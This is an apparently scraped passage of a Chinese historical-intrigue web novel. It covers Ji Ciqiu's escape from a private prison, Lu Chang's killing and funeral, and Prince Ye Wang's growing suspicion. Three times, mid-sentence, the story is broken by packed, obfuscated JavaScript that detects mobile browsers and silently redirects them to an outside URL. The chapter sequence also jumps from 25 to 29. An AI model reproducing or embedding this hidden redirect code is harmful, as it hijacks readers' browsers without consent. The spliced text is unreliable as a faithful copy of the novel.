“郭副使近来公事繁忙，许是无暇兼顾。” 在广陵的地界刺杀殿下，横竖不是小事，既然郭副使没说话，也轮不到自己吱声。“按殿下的意思，一户一户彻查吧。” —— 牢房里的时间像停滞了一般，一日过去，毫无动静，季辞秋心里忐忑不安起来。她开始谋划逃出的可能，观察了一圈，得出的结论是很难。 牢房的狱卒每隔半日换一次班，时间严丝合缝，根本钻不了空子。 再不想些办法，若他们同陆定年核实了消息，可就难办了，她心急如焚。 这日晚上，她正靠着墙养精蓄锐，廊道内传来匆匆的脚步声。 还未来得及反应，一黑衣蒙面步至铁栏前，手忙脚乱地开了门，将季辞秋一把薅起：“走。” “什么？”季辞秋愣了愣。那黑衣来不及解释，又跑出门将一打晕的狱卒拖至栏前，取走钥匙，不由分说地拉着她欲走。 “等等，他俩呢。”她猛一站起，两眼发黑，站定缓了缓。 “我的任务是只救你一人，还请阁下不要为难。”黑衣不愿多说，往前走。 季辞秋连忙跟出去，拍了拍隔壁的牢门，想要叫醒陆敞和坊民。可是二人似乎睡得极沉，毫无反应。 眼见黑衣走远，她咬咬牙，跟了上去。出了牢房，隐约听见隔壁的屋子有人热络谈话，似是来了客人。来不及细想，她攀上了马车。 “我受三殿下之意救你。另两人饭里掺了迷药，你不用担心他们看见，只当你打晕了狱卒，逃了出来。”黑衣简单道。 叶玄？这么快肃风便找到这地儿了？季辞秋心中诧异。 “那两人怎么办？”她心焦道。 黑衣闭着眼，没作声。 眼见这人不开口，她只得问道：“现在是去哪里？”横竖跑出来了，先离开这里，再想法子救人。 “送你回晋王的府上。” “等等，”季辞秋胸中一呛，“我自己回去。” 戏要做全套，捉了三人，就她一人顺顺利利地逃了出来，实在可疑。 宵禁的巡逻兵懒懒提着灯在坊间走动，远远见着马车，似是没看见般，拐入另一个巷子。 她心中奇怪，顾不上细想，踉踉跄跄地走着。身上的鞭痕因走动复又绽开，火辣辣地疼。 东边的天际露出鱼肚白，鸡鸣声渐起，她强打精神，机械地拖着步子，脑中已是一片空白。 快了，就要到了。 巍峨的府邸在泛白的天空下傲然屹立，她几乎力竭，眼前一阵发黑。 不能晕，她告诉自己，不然若是请了郎中，女子的身份便不保了。 季辞秋稳了稳神，身子一歪，跌在门前，伸出手叩了叩门环。 白轩被抓，葵生着急得紧，夜里翻来覆去睡不着，干脆起了个大早。他的腿伤差不多恢复，准备收拾收拾再去探青龙坊的消息，听见叩门声一惊。这么一大早，能有谁？ 他防备地将门开了条缝，探头出来看了看。 “白轩？！你怎么在这？”葵生大惊失色，忙扶她进来，见她脸色煞白，身上布满鞭伤，衣服沾着泥土和血迹，已是明白大半。 “我去叫王爷。”他安顿好季辞秋，匆匆忙忙去寻叶望。 不一会儿，叶望来了。他显然有些意外，看着她满身的伤默了默道：“如何出来的？” “我打晕狱卒，偷了钥匙逃回来的。”季辞秋躺了一会，精神恢复了些，“陆敞和一个坊民还在里面。” “他们没出来？”叶望看了她一眼。 “没，”季辞秋垂下眼，“情况紧急，我没来得及救他们。” “王爷，有办法救他们出来吗？”季辞秋虚弱问道，“那伙人不择手段，逼问我们的来处，我谎称受陆仆射所托，拖延了些时间，但终归无济于事。他们若是发现我扯谎，陆敞怕是活不成了。” 叶望看了眼床上面无血色的人，背过身去：“本王会想办法。” “王爷，要不要寻个郎中看看？”黎叔接着话道。 “不必，”季辞秋眼神闪了闪，忙道，“都是些皮外伤， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741749|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己抹些药膏便可。” “我这鞭伤不寻常，若是走漏了风声，不好。”她补充道。 “得，治腿伤的膏药我还有许多，有外用的，我给你拿来些。”葵生出了屋。 “青戈，”叶望回了正堂坐定，“你同葵生去白轩说的地方盯着，这几日坊内排查，他们不敢留这块烫手芋头，定会有动作。” “还有，查查白轩近日去了何处。” 青戈听到白轩愣了一下，见叶望神情无波，垂头应下。 —— “一群废物。”刑房里，男子怒极，一脚踹翻满是红炭的铁盆，“老子一会儿功夫不在，这么大个人你们就给放跑了？” 昨日夜里郭统忽然来见，同他问起造纸厂走水的事。这造纸厂明面上废弃许久，暗地里是个大盐仓。 先前贩卖私盐，便是找郭统行的便利，得了这么个安全的地方。如今造纸厂走水，他们损失不小，却也躲不了郭统的责问。 好在郭统没有追究太多，问了些事情的来龙去脉便离开了。他刚松了口气，却得知重要人物越狱逃了。 “洪爷，小的不是故意的。”狱卒匍匐在地，抖成了筛子。 “找个野湖，丢了喂鱼。”洪淮波嫌恶地摆摆手。 “洪爷，京城那边有消息了。”一人匆匆来报，凑近他耳语了几句。 洪淮波侧头听着，面上粗糙的皮一寸寸皱起，愈发狰狞。 “好啊，敢耍老子，”他阴恻恻地笑了笑，慢条斯理地拿起剜肉的短匕仔细端详，“下次逮到你，定要叫你尝尝生不如死的滋味。” “爷，那两个怎么处理？刀了？” “无用之人。”他面皮抖了抖，本想在他们身上将刑具一一试了，又忽然得知州衙要在坊内排查的消息。 “他们不能死在这儿。带几个人运出坊，离远点再动手。” 是夜，葵生与青戈伏在墙头，静静盯着刑房的动静。忽然，一阵窸窣声响起，只见几个小厮将两只麻袋搬上拖车，偷偷摸摸地往坊东去了。 二人赶忙跟上。 “这是往哪走？”葵生喃喃道。 “青龙坊一直往东走，出了坊门，便是城郊了。”青戈闷声道。 “嘿，好毒的人！这是打算运到荒郊野岭方便动手啊。” 二人远远跟着他们，果然在坊门停了下来。入夜宵禁，坊门紧闭，几名小厮熟练地摸到围墙的一处缺口，将两只沉沉的麻袋运出去后，翻身而出。二人对视一眼，紧跟其后。 城郊几无人烟，小厮燃起火把，往密林深处去了。青戈环顾四周，低声道：“就是现在。”二人对视一眼，腾跃而起，手起刀落间灭了两名小厮，其余人听到动静，吓破了胆似的，丢了麻袋便逃之夭夭。 葵生快步上前，解开麻袋，里面的人头朝下躺着。他小心地翻过身，却看到了两个陌生的面孔。 “不好！”葵生大吼一声，退回青戈身边。 夜已深了，四周寂静无声，远处传来鸱鸮暗哑的啼叫。二人背靠着背，作防御状，紧张地盯着周围的动静。 密林深处隐约传来窸窸窣窣的声响，霎时现出十余大汉。他们排成一列，似一堵高墙。 一人自其间穿过，长鞭划地的声音格外刺耳。 “哟，还真捉到了。” 24. 报应 葵生与青戈将刀横在胸前，见暗处走来一面相阴毒的男子。男子身后跟着两名被押的人，正是陆敞和太平坊的坊民。 “跑了一个，又送上来两个，不亏。”男子摸了摸胡茬，抱臂道。 “想救他们吗？”他勾了勾手指，示意手下将陆敞和吴三带上前，“一命换一命，如何？” 葵生与青戈自知落入圈套，咬了咬牙，不动声色地观察四周的环境。 “别看了，大晚上的，官衙早回家了。”男子懒懒道。 “我呸，尽使些下三滥的手段，”陆敞对着男子啐了一口，扬声道，“小兄弟，不用管我，我陆敞贱命一条，犯不着救我。” “都什么时候了，别在这装大义了。”男子哂笑道，“大家又不是不知道，太平坊出身的，本来也不是啥好货。” 此话一出，陆敞顿了顿，撇过脸去。 “救救我，救救我，我不想死……”吴三的肩剧烈抖动，唾泣道。 “快点，我说话算话，你们把武器扔了，过来同我交换，我便立刻放人。”男子有些不耐烦了。 随从逐渐逼近，对面的两人立在原地未动，场面一度僵持。 忽得身后一声轻笑，只听陆敞自顾自道：“天凤十年，我走镖被商人蒙骗，一怒之下杀了他一家，自此过上逃亡的生活。我陆某从没觉得自己是个好人，我杀了无辜之人，这辈子是定要下地狱的。” “太平坊的这十多年光景过得太好，好到我快要忘了自己的身份。但我知道，这些都是偷来的，迟早有一天会遭报应，我认。” 云层移动，月光从缝隙中洒下，照亮了城郊一角。 他昂了昂头，看向对面进退两难的二人，高声道：“我陆敞本就是身负罪名的重犯，侥活至今，已是恩赐。我心怀感恩，亦无遗憾。” “小兄弟，与你们的合作甚好，我一点也不后悔。还有白兄，鬼点子最多，本来答应李二替他问问买卖布匹的门道的，如今怕是没有机会了。” “太平坊名声不好，里面的人却不都是恶人。陆某这一生赤条条无牵挂，唯一放不下的便是这些坊民了。往后还望仁兄能多加关照，陆某感激不尽！” 话音刚落，他猛一用力，挣开绳结，一脚踢翻押解吴三的随从。周围人不防，竟叫他夺走武器，眨眼间丢了性命。 吴三没了束缚，拼命地向外跑。 “抓住他们！”男子厉声道。霎时数人回扑，将陆敞包围。 “来！一起上！我好杀个痛快！”陆敞猩红着眼，与众人缠斗起来。随从被他的气势震慑，畏手畏脚地不敢出招，半天分不出胜负。 男子见此场景，冷哼一声：“一群废物。”他缓缓从背后拔出长刀，对准了身陷缠斗的陆敞。 趁着局势混乱，青戈一个箭步冲到吴三面前，将他带至葵生处，收回手时顿了一下。 那坊民竟吓得泄了裤。 顾不得这些，正欲回返支援陆敞，忽听一声闷响。他心中不好，猛地转身。 长刀从陆敞的身体穿透而过，鲜血喷溅而出，在月光下划出一道弧线。 葵生愤而暴起，被青戈死力拉住。 “让我去，我去杀了这群混账。” “冷静点，你去了陆敞就白死了！我们还要把他的坊民安全送回去！” 僵持了几秒，葵生红着眼，泄了气地松开短刀。边关无数场恶战的记忆涌上来，他不敢回头再看，闷声背上瘫软在地的吴三，往城中去了。 寒气袭人，陆敞僵立着，吐出一大口鲜血。他的身体不受控制地失力，紧握着穿透身体的刀尖才勉强站立。看着青戈与葵生背着坊民消失在雾色中，他终于松了口气，双腿一软，跪在了地上。 月亮已下中天，天上渐渐泛出白色，鸟雀苏醒，陆续开始新一天的啼叫。 他痴痴地望了一眼太平坊的方向，重重倒在地上。 “快去追！捉住那两人。”男子低吼道。 暗处，两人探出头来。 “老大，那陆敞是什么人？他们为何要救他？” “不清楚，听着是太平坊的人。”庞谨低声道，近日他寻着机会，暗中跟着五殿下的人几回，却是越看越糊涂。 得好好查查。 —— 广济坊，铁匠铺。头戴斗笠，避开人流，在铺前踌躇了几下，踏了进去。 “客官需要点什么？”肃风自然地吆喝道。 郭统看了他一眼，取下斗笠：“青龙坊那人我派人救出来了。” 肃风闻言，未停下手中的动作，细细研磨刃口。 郭统杵在原地，欲言又止，前日他收到肃风的消息，要他在青龙坊寻一人，与私盐有关的人。寻人不难，可私盐二字令他惴惴不安。做贼心虚，他在广陵私下掺和私盐，并未禀报叶玄。而今忽然让他寻人，是知晓了他的生意，还是仅仅巧合？ 他心中犹疑，斟酌道：“私盐的事，殿下在查？可需郭某助力？” “副使慎言，”肃风吹了吹刃口的铁屑，瞥他一眼，“殿下不过是借他人之手，隔岸观火。” “殿下还让我告诫你一句，私盐之事靡杂，牵一发而动全身，还是不要沾染得好。” “多谢殿下提点，”郭统心中紧了紧，点点头，又想起什么，主动道：“淮南节度使府今岁的粮饷到了，去岁我虚报了些兵数，多出来的部分，你们寻个时间，偷偷运过来。” “还有，军械可够？节度使府中还有富余。” 肃风点头：“军械之事无需忧心，城中铁匠铺明里暗里都在赶制。要紧的是军饷，听殿下的意思，岁末还需扩兵。” 扩兵？郭统脸色暗了暗，豢养私兵本就是铤而走险，殿下竟还要扩兵。莫不是前朝动荡，各方势力抬头，欲兵戎相见了。 “明白。”他应道，揣着满满心事，离开了。 —— 季辞秋在床上躺了几日，身体渐渐恢复了些，便急急地找葵生问陆敞的情况。 奈何去了几次，葵生都不在，青戈的房门也紧闭。 她在院子里左转右转，逮了一个小厮问道：“他们都去哪了？” “听葵生说，是去太平坊了。” 太平坊？看来陆敞应是平安回来了。 季辞秋的心稍安了些，等她养好了身子，定要提壶上好的琼花酿去看他。还有让天机阁打探的消息，算算日子，也快到了。 经历了这么一场牢狱，她竟然很快地调整回来，好像已经渐渐习惯这种脑袋提在手上的生活，对皮肉之痛的忍受阈值都高了些，她有些悲哀地想。 等了大半日，到了黄昏，葵生与青戈才匆匆回来。看到季辞秋在院中，他们显然有些惊讶。 “怎么样？”葵生问道。 “托你的福，你那药膏还挺管用。”季辞秋点头道，“先别管我，陆敞呢，他没事吧。他在牢里吃得鞭子可比我多。” 话一出口，葵生默了默，没出声。季辞秋心中一沉，转头看向青戈。 青戈垂下头，半晌闷声道：“他不在了。” “什么不在了？”她一愣，强扯着笑，故作轻松问。 没有回答。 “究竟是怎么一回事？”她心中发慌，追问道。 青戈终是抬头，将来龙去脉同她一一说明。 季辞秋张了张口，僵在原地。不可能，陆敞本就是有功夫的人，有葵生与青戈帮忙，这么个身强力壮的大活人怎么会不在了？ 不对，怪她。在叶玄的人来救她时，她就应该坚决一点，带着陆敞他们一起走。怪她......她早该这样的，但她眼睁睁看着他躺在那里，没救他。 心里一阵阵揪着疼，她瞪着眼，好半天说不出话。 葵生拍了拍她，闷头回了屋。 —— 绮陌楼的阁子里，杜琼玉执香匙，自瓶中取出苏合香粉，放入狻猊金玉炉中。袅袅的青烟从镂空的纹路中倾泻而出，香气氤氲满室。 “临波先生有消息了。”叶望坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748935|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于窗边，拂起长袖酌了口茶，“富商胡升泰爱收藏书画，对临波先生的画作尤为推崇，多次花重金请他来府上作画。但那先生似是颇为爱惜羽毛，从不轻应。” “不过既然他能重金去请，自然有联系临波先生的路子，我想不久便能找到了。” 杜琼玉听此，眼中升起一丝亮光，嗯了一声：“多谢殿下。” “你我之间不必客气。”叶望轻描淡写道。他看了一眼对面低眉顺眼的人，又将目光移回窗外。 思绪渐渐飘远，回到儿时同杜琼玉和张展在内学读书的日子，那是他为数不多的好时光。那时的他们情同手足，一起吟诗作对一道领罚，从不论身份地位。如今十多年过去，走的走散的散，倒如陌路人般生分了。 阁门轻扣，传来一道女声：“贵客，有人求见。” 杜琼玉看了叶望一眼，微微伏身，退了下去。 “进来吧。” 薛世平躬身迈着小碎步进了房，小心瞅了一眼叶望的脸色，试探道：“不知殿下……找下官何事呀？” “坐。”叶望没抬头，自顾自斟了盏茶递给薛世平。 薛世平站在原地，见叶望一本正经，这才挪了几步恭恭敬敬地坐下来。 “薛刺史，近来公事繁忙？” 薛世平以为他要问排查青龙坊一事，忙道：“不忙不忙。” 叶望将茶壶复又放上火炉，忽得道：“先前太平坊户籍一事，可还顺利？” 薛世平早已想好向叶望交差青龙坊排查未果的说辞，却听他问起太平坊的事，一时愣了愣：“按照殿下的吩咐，每月派人去核对入籍，还算顺利。” 叶望点点头：“此事还请薛刺史多费心。” “不敢不敢，此事本就是下官职责所在，下官失职，还应谢殿下给下官将功补过的机会。”薛世平连忙跪地。 “嗯，若是做得好，本王回京会差人同户部提点几句。” 薛世平听此，面上难掩喜悦，连连道谢：“下官定尽心竭力！” 回了府，青戈来报。 “太平坊的事安顿好了？”叶望沉声道。 “回王爷，太平坊一切安好。坊民都服丧服，自发地为要为陆敞办丧礼，没有发生抢掠等动乱之事。” 青戈忽然想起什么，低声道：“白轩在陆敞被掳走的那天，去了趟坊内的天机阁，待了许久，不知是做了什么。” “天机阁？”叶望闻声睁开眼。 “就是那百晓生所在之处。据我所知，除了陆敞亲自出面，要让他帮忙打探消息，没那么容易。”青戈补充道。 青戈前脚刚走，季辞秋便匆匆赶来。 “王爷，明日我想去太平坊，送陆敞一程，还请王爷作准。”季辞秋半跪在地，声音有些不稳。 叶望正欲更衣，外袍解到一半，随意地掩了掩，又坐了回去。 他没有直接回答，兀自道：“陆敞的事，本王也有责任。” 季辞秋没吭声，只听叶望喃喃道：“本王太过轻敌，营救之策未考虑周全，铸此结果。” “奸人用心良苦，防不胜防。”她干涩道。 “你离开时，陆敞可对你说了什么？” 她愣了愣，垂头道：“未曾。我趁狱卒送饭时将其打晕，拿走了钥匙。出来后发现陆敞和坊民一直昏睡，怎么叫也叫不醒。我怕耽搁太久惊动别的狱卒，就先逃了出来。” 季辞秋心中很不是滋味，她知道叶望想问什么。可她不能说，只能尽力压抑情绪，让自己清醒一些，好不露出破绽。 “嗯，情理之中。”叶望沉声道，听不出情绪。 “不……”季辞秋嘴唇颤了颤，努力压住哽咽，摇了摇头：“早知如此，我无论如何也要带他们一起走。是我心存侥幸，没尽全力。” 叶望不动声色地打量她，看她极力压制而颤抖的身体，因恨意而泛红的双眼，似乎不像演的。 他站起身，拢了拢长衫：“明日本王也去，送陆敞一程。” 25. 怀疑 清晨下起雨，太平坊笼罩在一片寂静中。几只麻雀落在屋檐，零星的啁啾声衬得街坊愈发阒寂。 坊正中，陆宅的门大开着。白幡从门楣垂下，素白帷幔层叠。 叶望与季辞秋一行人站在坊口，看了一眼坊内，沉默地往里走。 巷子里渐渐有了动静，素衣的坊民们捧着各色物品，冒雨向大院汇聚。有人抱着成摞的白布，有人捧着香烛和纸钱。 入了院，烛火气息浓郁，夹杂着低低的哭声。陆敞一生无妻无子，父母早故，是以未有亲属在门前迎送。 季辞秋穿过重重帷幔，来到供桌前。长明灯摇曳，虚虚洒入棺木，笼罩了一层朦胧的光晕。 一切都有些不真实。 “哥儿，给敞爷烧点纸钱吧，到了阴间荣华富贵。”一头裹白巾的老妪垂泪道。 季辞秋木讷接过，用香烛引燃，放入火盆中。薄薄的钱币一点点被火吞噬，化作细细的青灰。 正恍惚着，一道白色身影拂过。叶望神情肃穆，手执长烛放于香案，撩袍于灵前跪拜。一声铜钟响起，灵案旁的伙夫扬声：“钟磬音响，黄泉路明——” 紧随其后，是占筮、卜葬、施斋等仪式，做完已过大半日。 季辞秋刚一出来，葵生拉了拉她，怪道：“怎么不见二福？” 她心中一紧，今日太平坊的坊民几乎都出丧了，就连平日不服管的地痞都老实了些。 “去监守那里看看。”她急急迈开步子。 到了监守，四下空荡无人，季辞秋心中不安，奔到路上拉了一人问道：“可见二福了？” 那人一惊：“二福没在吗？昨日还见他捣鼓他的那些枪棒宝贝。” 枪棒？季辞秋面色一变。 不好，这小子多半是从哪儿知道了关陆敞的地儿，寻仇去了。 “怎么办？”葵生也意识到了，“要不要先禀报王爷？” “你先去禀报，”她冷静道，“我现在去青龙坊寻他，但愿还来得及。” 说完，二人分道扬镳。季辞秋拉了一匹马，向青龙坊疾驰而去。 赶到青龙坊时，天已擦黑。雨还未停，湿漉漉的打在早已湿透的短衣上。 季辞秋下马跃上房顶，悄无声息地接近牢院。从天窗上看去，牢房里空荡荡的，没有动静。 她松了口气，正欲在附近搜寻，一道窸窣的声音响起。 二福手执□□，背上背着根长棒，小心翼翼地自房檐探出头来。前一天，他找同被掳去的吴三叔打探消息，对方却痛苦地摇头，不愿回忆，只给了个模糊的地儿。 他在坊内偷摸地蹲了一天，终于确定了这个可疑的地方。 敞叔，二福来为你报仇了。二福心中默念，盯着院内的守卫，欲俯冲暗杀。忽得黑暗中伸出一只手，捂住他的嘴将他带离。 “唔！”二福惊骇万分，挣扎起来。 “别出声！我是白轩。”季辞秋低声道。她不敢多做停留，胁着他出了坊才停下。 “师父，我要为敞叔报仇，为什么阻拦我！”二福低垂着头，小声道。 “报仇？”季辞秋看他一眼，后怕不已，“报仇还是送死？” 二福梗着脖子没说话，好一会儿嚎啕大哭起来：“敞叔，二福没用，二福没法为你报仇。敞叔……” 季辞秋鼻头泛酸，喉中哽咽，强压了一会，拍了拍他的头：“别自责，敞叔生前最看重的就是你们了。你想想，若是你为了报仇丢了性命，黄泉之下与敞叔相见，他会不会开心？” 二福听了这话，仔细想了想，摇摇头。 “你现在能力还不够，这个仇师父帮你报。等你强大了，想寻什么仇师父都不拦你。” 二福擦了擦眼泪，手攥成了个小拳头，重重点头。 二人往回赶。 “对了，你是如何找到关押敞叔的地方的？”季辞秋好奇道。 二福吸了吸鼻子：“我找吴叔打听的，他给了大概方位，我就在这附近蹲了蹲。然后我发现有户人家进进出出了一些人，面相凶神恶煞的，看着不像善类，院里还有层层护卫把守。” “这些坏人定是要继续做坏事，师父你要当心。” “嗯。”季辞秋闷闷道。 路走到一半，碰到葵生领着一群坊民往这边赶，看到二人回来，长舒了一口气：“哎呦二福，你可吓死我们了。” 二福有些抱歉地挠挠头。 “没事就好。”一身材高大的的男子道。 “张叔，你们怎么都来了？”二福扑了过去。 “你这孩子，胆子倒挺大。大家伙听说你去青龙坊了，都着急地紧，想着豁出去了，一起去，看他们能把我们怎么样！” “呜呜呜你们真好。”二福又掉眼泪了。 —— 天机阁，百晓生得知陆敞去世的消息怅然许久，第二日在二楼的正房设了灵桌为陆敞超度。 他缓慢摇着素舆至灵桌前，燃起三根香，口中默念几句后，插入镂金香灰炉中。 “阁主，有人求见。” “过了八卦阵吗？” “过了，且很快。” 百晓生扯出一丝笑：“想不到我这小小天机阁也人才辈出，接客——” 说话间，一素袍男子同一侍卫模样的人走进来。 百晓生打量了素袍男子几眼，只见他虽一袭白裳无多修饰，但身形挺拔，眉目俊朗，光是站在那里，就气度不凡。 “阁下有何事？”他懒懒问道。 叶望环顾四周，自顾自道：“本王听闻太平坊的天机阁不凡，方才那八卦阵，确是有些本事。” 百晓生听到本王，愣了愣，迅速反应过来，他紧了紧手，面上浮起笑：“天机阁何德何能，竟入得了五殿下的眼。” “小民身残，不便行礼，还望殿下宽恕。”百晓生请罪道。 “免礼，”叶望缓步踱入阁内，“本王来，是想打听天机阁的一位客人。” “哦？”百晓生饶有兴趣地抬起头，有些为难模样，“不过天机阁的规矩，只打听客人要的，其他一概不多问。殿下恐怕要失望。” “无碍，本王只想知道那客人要的是什么消息。”叶望淡淡道，让青戈展开白轩的画像。 百晓生看了一眼，嘴角噙着笑：“这个我有印象，倒是个有趣的人。” “他嘛，也没打听什么稀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759701|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇的，就是广陵的盐商势力，还有绮陌楼的花魁琼娘。” “琼娘？”叶望心中一顿。 “是呀，血气方刚的小伙子，哪一个不倾慕琼娘子？” 叶望没作声。 “本王知道天机阁的规矩，拿钱办事，他可有拿什么交换？” “一枚香囊。”百晓生简略道。 叶望静静看着他，眼中暗流涌动：“一枚香囊便可交换，阁主的生意恐怕不是这么做的吧。” 百晓生沉默，斟酌许久，他笑了笑：“天机阁只打听江湖上的事，不插手朝堂。既然殿下亲临此，小民悉听尊便，双手奉上所有知道的，换天机阁平安无恙。” “嗯，本王不会让天机阁牵扯其中。”叶望答应得很干脆。 “拂冬，拿纸笔来。”百晓生招手，“殿下别怪，这世道，小民得求些凭据才安心。” 他洋洋洒洒写下字据，请叶望签字画押。 做完这些，他拂了拂桌案的碎墨，娓娓道：“殿下说得没错，天机阁不会因一枚香囊做这笔生意。” “只是小民那日看他破八卦阵，所用掌法十分特别。我看着眼熟又实在想不起来，心觉此人许非平辈，便答应帮他打听，还套了他一枚香囊。” 掌法？叶望眉心一跳，忽得想起第一次和白轩交手时，某些招式也给他熟悉的感觉。 “香囊我私下找人看了，是多年前的双线结锦缎款，还是从广陵兴起的。针脚细密，材质上乘，应是枚珍贵之物。” 年轻力壮的小伙子，身上有枚女性的香囊，说奇怪也奇怪，说不怪也不怪。 “他那套掌法，”百晓生接着道，“我打听了一下，似是与黎安无影堂的掌风相像。” 黎安位于河朔道，西接陇西，东临淮南。无影堂是黎安赫赫有名的门派，从武堂起家，后逐步发展壮大成为门派，以灵虚掌闻名。 “不过他的掌法并非灵虚掌，是其下的旁支派系，应是无影堂的外门生，非亲传门徒。” 无影堂的外门生？叶望皱了皱眉，事情越发复杂起来。 “殿下，小民已将知道的全部奉告了。”百晓生道。 “有劳。”叶望点头，正欲离开，忽得想起什么，眸光轻掠：“绮陌楼琼娘是本王的人，本王不喜欢有手伸到本王身边。” 百晓生会意，看着窗外平静道：“明白。” 叶望抬脚迈出阁。 “五殿下对琼娘还真是情深根种。”拂冬在一旁听完，忍不住感叹道。 百晓生却顾不上这些，他揉了揉眉心，吩咐道：“琼娘还有无影堂的事不要再查了，之前查到的也一并销毁。” “阁主，已经查到的也销毁？”拂冬有些诧异。 百晓生扫她一眼，眼神坚决：“留不得，天机阁不趟这混水。” 叶望离开天机阁，远远见葵生领着一群人回来。 “王爷，二福找回来了。”葵生禀报道。 叶望点点头，看向人群中正安慰二福的季辞秋。这些日的相处，他以为自己对他已有了解，差点要信任他了。现今迎头一盆冷水，让他清醒了几分。 是该清醒些，好别着了旁人的道。 29. 落水 跑！ 趁着包围圈还未稳定，二人冲出了一个缺口，向远处掠去。 追兵紧追不舍，逼着二人在府中兜圈，迟迟无法前进。 再这样下去，体力迟早消耗殆尽。前方现出一草棚，季辞秋与葵生对视一眼，趁着拐弯的空当，飞入其中。 茅草层层叠叠，将三人遮盖。 追兵一时失了目标，开始搜寻起来。 季辞秋心中砰砰直跳，目前看来，追他们的人身手不凡，必不是府内的寻常仆役。 商贾之家，竟偷偷豢养私兵？她直觉不好。 季辞秋看了眼葵生，葵生亦是面色凝重。 女子见二人这般，止不住发抖起来：“完了完了，胡公子抓到我，我定是活不成了......” 鲜红的嫁衣连着挂坠摇曳，刺目得紧。季辞秋心中一动，不由分说地扯下女子的外裳，披在自己身上。 “你这是做甚？”葵生瞪大眼睛道。 “他们的目标是新娘，我先引开他们，你抓紧时间带姑娘离开。”季辞秋系起裙带，将头发散开。 “愣着做甚？我先跑，你等他们走远了，往另一边跑。”不由分说，她从草中跃出，往棚外去了。 “在那里！”追兵大喝一声，数道黑影瞬间调转方向追上去。 葵生回过神来，眼疾手快地背上姑娘，看了一眼远去的纤细背影，来不及多想，朝西北边跑去。 前院，宴会气氛正在高潮。临波先生大手一挥，展出了近来几幅还未示人的大作，引得众人交口称赞。 很快，有达官贵人陆续给出高价，欲将画作收入囊中。随着此起彼伏的叫价，画作的价格水涨船高，其中一幅八骏图竟叫到五百两白银。 再无人出价，胡升泰环顾四周，看了眼临波先生，笑眯眯道：“既如此，这八骏图......” “在那边！”话还未说完，一声洪亮的男声自院外响起，紧跟着是瓦罐杂碎一地的哗啦声和沉沉的脚步声。 胡升泰皱眉，侧头对一旁的小厮低声道：“去看看，发生什么事了？” 宴席上的人听了这动静，小声议论起来，只见胡升泰面色如常，抱歉道：“一点家事，扰了诸位雅兴。胡某谨奉卮酒谢罪，还请诸公继席间风雅。” 宴会继续，众人静静听着各幅画作的最终成交价，不时发出赞叹。 忽地空气中传来利器划过的嗖嗖声，小厮白着脸跑回席上，小声同胡升泰耳语了几句。 “你说什么？”胡升泰竭力压制，表情非常精彩。 一位富商再也按捺不住，试探问道：“胡老，发生甚么事了？我瞧着动静不小啊。” 胡升泰欲言又止，僵在原地。 “看来胡总管的家事不小。”一道男声悠悠传来，众人循声望去，纷纷垂头不语。 叶望理了理衣襟，自席中站起：“既如此，本王不耽误胡总管处理家事了，告辞。” 说着便要离开，忽听背后扑通一声，只见胡升泰伏地作请罪状。 “胡某死罪，扰殿下清兴，请殿下责罚。” 叶望揉揉眉心：“本王说了，微服私访，不必行如此大礼。”说着话锋一转，“本王是如此量浅心窄之人？” 一句话说得胡升泰哑口无言，只得惶恐道：“是。” 众人见叶望离开，亦纷纷抱拳请辞。 趁着混乱，叶望寻了个角落，沉声道：“青戈，你继续盯着临波先生。” “是。”青戈应声，有些迟疑道，“王爷，葵生那边......” 叶望不置可否：“你且盯紧了临波，本王去那边看看。” 他利落地脱下惹眼的外袍，脚尖轻点，消失在围墙之上。 宴席上激烈的追逐声同样出乎叶望的意料，商贾之家，不应当出现如此身手的侍从，且不止一个。 这偌大的广陵城，真是卧虎藏龙。 循着破碎一地的瓦罐，他悄悄地往东边去。 山水居的东侧临着山崖，石青色的崖壁陡然凹陷，一匹银缎倾泻而下，被嶙峋山骨撕成缕缕，跌进翡翠色的深潭中。 季辞秋心力交瘁地跑着，已辨不清方向。更要命的是，她的右肩扎入了一枚铁镖，不停地往外流血。 与葵生分开没多久，追兵发现了异常，分出一半的人回头去追。她本想拦着，可实力悬殊，未能如愿。一路上，她陆续甩掉了几个追兵，却仍有一两个紧追不舍。 不知道他们有没有顺利脱身。 季辞秋想着，脚步越来越沉。嘴中弥漫着浓浓的铁腥味，胸中如塞千斤巨石，每吸一口都觉生疼。 身体要到极限了。 恍惚间听见哗啦的水流声，眼前现出一汪清潭。她血沸神醒，回头看了眼，一咬牙，跃入水流中。 霎那间，世界清静了，无力的四肢得到承托，伤口的钝痛好似烟消云散。 好想睡一觉啊。 清凉的潭水裹挟着她离府，她的意识逐渐涣散，陷入深深地黑暗中。 —— 